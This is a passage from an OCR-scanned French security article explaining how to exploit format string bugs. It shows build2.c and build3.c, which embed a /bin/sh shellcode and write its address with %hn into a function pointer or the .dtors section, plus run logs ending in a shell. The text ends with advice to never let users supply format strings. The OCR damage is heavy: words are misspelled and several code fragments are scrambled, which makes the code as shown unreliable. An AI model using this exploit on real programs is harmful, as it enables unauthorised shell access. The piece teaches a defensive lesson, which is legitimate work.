éaaser I'adresse qui se situe quatre octets apres le début de
la sedion (le Oxffffffff ) pour que notre fonction soit
exéautée en premier :

e sil ny avait aucune adres®, ced éaase le
0x00000000 ;

e dans le @s contraire, la premiére fonction
exéatée seralanotre.

Pour notre eploitation, nous aubstituons donc le

0x00000000 de la sedion .dtor s, situé en
0x8049848=0x8049844+4 , par ladrese de la
fonction accesForbidden() dga connue

(08048664 ) :

J vuln"./  build 0x8049848 0x8048664 3
adr : 134518856 (8049848)

val : 134514276 (8048664)

valh: 2052 (0804)

vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (Oxbffff51c)

helloWorld() = 0x8048648
accessForbidden() = 0x8048664



Avant formatage : ptrf() = 0x8048648 (0xbffff434)

buffer =
[JHO000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
000000000000000000000000] (127)

Apres formatage : ptrf() = 0x8048648 (0xbffff434)

Welcome in"  helloworld"
You shouldn't be here
Segmentation  fault (core dumped)

Le programme se déroule normalement, jusqua l'appe de
helloworld() . Ensuite, lorsquil sagit de quitter le
main() , lafonction accesForbidden( ) est exéautée
avant le "plantage” attendu

S'il te plait, donne moi un shell

Nous avons présenté ici des cas smples d'exploitation,
sans grande cnséquence En uilisant le méme principe, 1l
suffit de paser un shelcode au proggamme vulnérable
(soit par l'intermédiaire de argv , soit par une variable
d'environnement) et daler "pointer" dessus au moment
opportun pour seretrouver avecun shell.

Jusgua présent, nous s|vons :

 explorer la pile dans des limites raisonnables
(enfin théoriquement, il n'y a pas de limite, mais
c'est as¥z vite pénible de réaupérer les mots un
par un) ;

e éaqire la valeur que nous voulons ou hous
voulons.

Toutefois, dans la rédité, le programme vulnérable n'est
pas auss sympathique que ceui utilisé en exemple. Nous
allons présenter une technique qui permet de passr un
shellcode en mémoire @ de retrouver son adrese exacte
(i.e. fini lestonnes de NGP au début).

Le principe repose sur des appels siccessfs de fonctions
exec*()

[* argv.c*/

#include <  stdio.h>

#include <  stdlib.h>

#include < unistd.h>

int

main( int  argc, char ** argv)
{

char**  env;
char**  arg;
int nb= atoi( argvl[l]),i;
env = (char **) malloc (
env[0] = 0;

sizeof (char *));

arg = (char **) malloc(

arg[0] = argv[0];

arg[1] = (char *) malloc(5);

snprintf ( arg[1], 5, "%d", nb-1);
arg[2] = 0;

sizeof(char *) * nb);

[* printings */
printf ("***
printf ("

argv %d ***\n", nb);
argv=% p\n", argv);

printf (" arg=% p\n", arg);

for(i=0;i< arge; i++) {
printf(" argv[%d] = %p (%p)\n",
i, argvli], & argv [i]);
printf(" arg[%d] = %p (%p)\n",
i, argli], & arg [i]);
}
printf("\n");
if ( nb==0)
exit(0);
execve ( argv[0], arg, env);

}

Ce programme prend comme agument un nombre nb et
sappelleréaursivement nb+1 fois:

J argv 2

*kk argv 2 *kk

argv = Oxbfffféb4

arg = 0x8049828

argv[0] = Oxbffff80b (Oxbffff6b4)
arg[0] = Oxbffff80b (0x8049828)
argv[1] = Oxbffff812 (Oxbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*kk argv 1 *kk

argv = Oxbfffff44

arg = 0x8049828

argv[0] = Oxbfffffec (Oxbfffff44)
arg[0] = Oxbfffffec (0x8049828)
argv[1] = Oxbffffff3 (Oxbfffff48)
arg[1] = 0x8049838 (0x804982c)

*kk argv 0 *kk

argv = Oxbfffff44

arg = 0x8049828

argv[0] = Oxbfffffec (Oxbfffff44)
arg[0] = Oxbfffffec (0x8049828)
argv[1] = Oxbffffff3 (Oxbfffff48)
arg[1] = 0x8049838 (0x804982c)

Nous constatons immédiatement que les adresss allouées
pour ar g et arg v n'‘évolue plus apres le deuxiéme appel.
Nous allons donc utiliser cette propriété dans le cadre de
notre eploait. 1l nous siffit de modifier 1égerement notre
proggamme build  pour quil sappelle lui-méme avant
d'appeler vuln . Aind, nous disposerons de l'adresse
prédse de argv que nous utiliserons pour passr notre
shell code :

/* build2.c */

stdio.h>
stdlib.h>
unistd.h>
string.h>

#include <
#include <
#include <
#include <

char*
value,

build( unsigned int addr,
unsigned int  where)

unsigned int

//IMéme fonction que dans build.c

}

int
main( int  argc, char ** argv)

char * buf;

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89
\x46\x0c\xb0O\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

if ( argc<3)



return EXIT_FAILURE;

if ( argc==23){
fprintf( stderr, " Calling %s ...\n", argv[0]);
buf = build( strtoul(  argv[l], NULL, 16),
&shellcode,

atoi( argv[2]));
stderr, "[%s] (%d)\n",
buf, strlen( buf));

fprintf(

execlp( argv[0], argv[0], buf,

& shellcode, argv[1], argv[2], NULL);

} else{
fprintf( stderr, " Calling ./ vuln ..\n");
fprintf( stderr, " sc=% p\n", argv[2]);
buf = build( strtoul(  argv[3], NULL, 16),
argv[2],
atoi( argv[4]));
fprintf( stderr, "[%s] (%d)\n",
buf, strlen( buf));

execlp("./  wuln","./vuln®,

buf, argv[2], argv[3], argv[4], NULL);

}
return (EXIT_SUCCESS);
}

Nous déterminons, en fonction du nombre d'arguments, ce
gue nous devons appder. Pour lancer notre attague, nous
fournisons juste & build 2 l'adrese ou nous voulons
éaire d I'offset entre cdte adrese d le début du buffer.
Nous n'avons plus a donner la valeur car cdleci est
I'adresse du shell code, que nous nous efforgons justement
de mnserver constante.

Pour y parvenir, I'idée &t de mnserver une représentation
identique de la pile en mémoire entre I'appel réaursf de
build2 et de vul n, ce qui expligue que nous appelons
quand méme la fonction build() afin d'occuper le
méme espace mémoire :

./build2 Oxbffff634 3

Calling ./build2 ...

adr : -1073744332 (bffff634)

val : -1073744172 (bffff6d4)
valh: 49151 ( bfff)

vall: 63188 (f6d4)
[66Y¢,46Y¢%.49143x%3%hn%.14037x%4$hn] (34)
Calling ./ vuln ...

sc = Oxbffff88f

adr : -1073744332 (bffff634)

val : -1073743729 (bffff88f)
valh: 49151 ( bfff)

vall: 63631 (f88f)
[66Y¢,46Y¢%.49143x%3%hn%.14480x%4$hn] (34)
0 Oxbffff867

1 Oxbffff86e

2 Oxbffffg91l

3 Oxbffff8bf

4 Oxbffff8ca

helloworld() = 0x80486¢c4
accessForbidden() = 0x80486e8

Avant formatage : ptrf() = 0x80486¢c4 (0Oxbffff634)

buffer =
[66y¢,46y¢0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
000000000000000000000000000000] (127)

Aprés  formatage ptrf() = Oxbffff88f
(Oxbffff634)
Segmentation  fault (core dumped)

Pourquoi ced n'a pas fonctionné? Nous avons dit que
nous devions reaéa une représentation identique de la
pile en mémoaire ... e nous ne l'avons pas fait. En effet,

argv[0] (le nom du programme) a changé & occupe
moins de caactéres. build2 occupe 6 octets, contre 4
pour vuln. Cette différence se retrouve dans I'affichage
précélent. L'adresse du shellcode lors du second appel de
build2 est donnée par sc = Oxbffff88f mais
I'affichage de argv([2] dans wvuln  nous donne
2 Oxbffff891 , soit la différence de 2 octets prévue!
Pour résoudre cecg, il suffit de renomer build 2 en
bui2

cp build2 bui2

./bui2 0xbffff634 3

Calling ./bui2 ...

adr : -1073744332 (bffff634)

val : -1073744156 (bffff6e4)
valh: 49151 ( bfff)

vall: 63204 (f6e4)
[66Y¢,46Y¢%.49143x%3%hn%.14053x%4$hn] (34)
Calling ./ vuln ...

sc = Oxbffffg91

adr : -1073744332 (bffff634)

val : -1073743727 (bffff891)
valh: 49151 ( bfff)

vall: 63633 (f891)
[66Y¢,46Y¢%.49143x%3%hn%.14482x%4%hn] (34)
0 Oxbffff867

1 Oxbffff86e

2 Oxbffffg91l

3 Oxbffff8bf

4 Oxbffff8ca

helloworld() = 0x80486¢c4
accessForbidden() = 0x80486e8

Avant formatage : ptrf() = 0x80486¢4 (0Oxbffff634)

buffer =
[66y¢,46y¢0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
000000000000000000000000000000] (127)

Aprés  formatage ptrf() = O0xbffff891
(Oxbffff634)
bash$

Et hop ! Ca marche tout de suite mieux. Nous plagons le
shell code dans la pile @ nous modifions I'adresse @mntenu
dans ptr f pour aller pointer sur le shellcode & |'exéauter
(ced suppose gque la pil e soit exéautable... ). Mais comme
nous l'avons vu, les chaines de format nous permettent
d'éairenimporte ou : gjoutons donc un destructeur dans la
sedion . dtors

objdump -s -j . dtors  vuln
vuln:  file format elf32-i386

dtors:
ffffffff 00000000

Contents of section .
80498c0

./bui2 80498c4 3

Calling ./bui2 ...

adr : 134518980 (80498c4)

val : -1073744156 (bffff6e4)

valh: 49151 ( bfff)

vall: 63204 (f6e4)

[AEA%.49143x%3$hn%.14053x%4$hn] (34)

Calling ./ vuln ...

sc = 0xbffff894

adr : 134518980 (80498c4)

val : -1073743724 (bffff894)

valh: 49151 ( bfff)

vall: 63636 (f894)

[AEA%.49143x%3$hn%.14485x%4$hn] (34)

0 Oxbffff86a

1 Oxbffffg71

2 Oxbffff894



3 Oxbffff8c2

4 Oxbffff8ca

helloworld() = 0x80486¢c4
accessForbidden() = 0x80486e8

Avant formatage : ptrf() = 0x80486¢4 (0Oxbffff634)

buffer =
[£A0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
000000000000000000000000] (127)

Apres formatage : ptrf() = 0x80486¢4 (0Oxbffff634)
Welcome in"  helloworld"

bash$ exit

exit

A la différence de nos précélentes modifications de la
sedion . dtors , le proggamme ne génere pas de
coredump lorsque nous quittons le shell s difficilement

acquis. Ced provient de la présence du exit(0 ) dans
notre shell code.

Pour conclure, en guise de ceise sur le géteau, voici

build3.c  qui fait exactement la méme chose, en passant
le shellcode dans I'environnement via unevariable :
/* build3.c */
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>
char* build( unsigned int addr, unsigned int
value, unsigned int where)
//IMéme fonction que dans build.c
}
int
main( int  argc, char ** argv)
{

char ** env;

char ** arg;

unsigned char * buf;

unsigned char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89

\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
if ( argc==23){
fprintf( stderr, " Calling %s ...\n", argv[0]);
buf =  build( strtoul(  argv[l], NULL, 16),
&shellcode,
atoi( argv[2]));
fprintf( stderr, "%  d\n", strlen( buf));
fprintf( stderr, "[%s] (%d)\n",

buf, strlen( buf));
printf("%s", buf);
arg = (char **) malloc(
arg[0]= argv[0];
arg[1]= buf;
arg[2]=NULL;
env = (char **) malloc(
env[0]=& shellcode;
env[l]= argv[l];
env[2]= argv[2];
env[3]=NULL;

sizeof(char *) * 3);

sizeof(char *) * 4);

execve( argv[0], arg,env);

} elseif(argc==2) {
fprintf( stderr, " Calling ./ vuln ..\n");
fprintf( stderr, " sc =% p\n", environ[0]);
buf = build( strtoul(environ[1], NULL, 16),

environ[0],

atoi(environ[2]));
stderr, "%  d\n", strlen( buf));
stderr, "[%s] (%d)\n",
buf, strlen( buf));
printf("%s", buf);
arg = (char **) malloc(
arg[0]= argv[0];
arg[1]= buf;
arg[2]=NULL;
execve ("./
}
return O;

}

La encore, comme cé environnement se situe dans la pil g,
il faut prendre garde ane pas modifier les positions des
arguments e des variables. Le hinaire devra donc
comporter le méme nombre de caactéresquevuln .

fprintf(
fprintf(

sizeof(char *) * 3);

vuln",arg,environ);

Nous utili sons la variable extern char **enviro n
pour transmettre les arguments dont nous avons besoin :

* environ[0] : leshellcode;

* environ[1] : I'adress ol éaire;

* environ[2] : I'offset.

A vous de le tester... ce (trop) long article comporte d§a
bien asezde lignes de amde d d'expérimentation.

Conclusion comment éviter les
bogues de format ?

Commel'illustre cé article, la cause majeure de cetype de
bogue vient de la liberté qui est lais®ea un utili sateur de
congtruire sa propre chaine de format. Le reméde n'est
donc pas trés compliqué : ne jamais laissr un utili sateur
fournir sa propre chaine de format ! Ced revient la plupart
du temps & ne pas oublier dinsé&er un "%s" dans
I'invocation des routines comme printf( ), syslog( ),
etc. Si vous ne pouvez vraiment pas faire autrement, il faut
alors vérifier trés igneusement l'entrée fournie par
I'utilisateur (cf. article 3 de cdte série).
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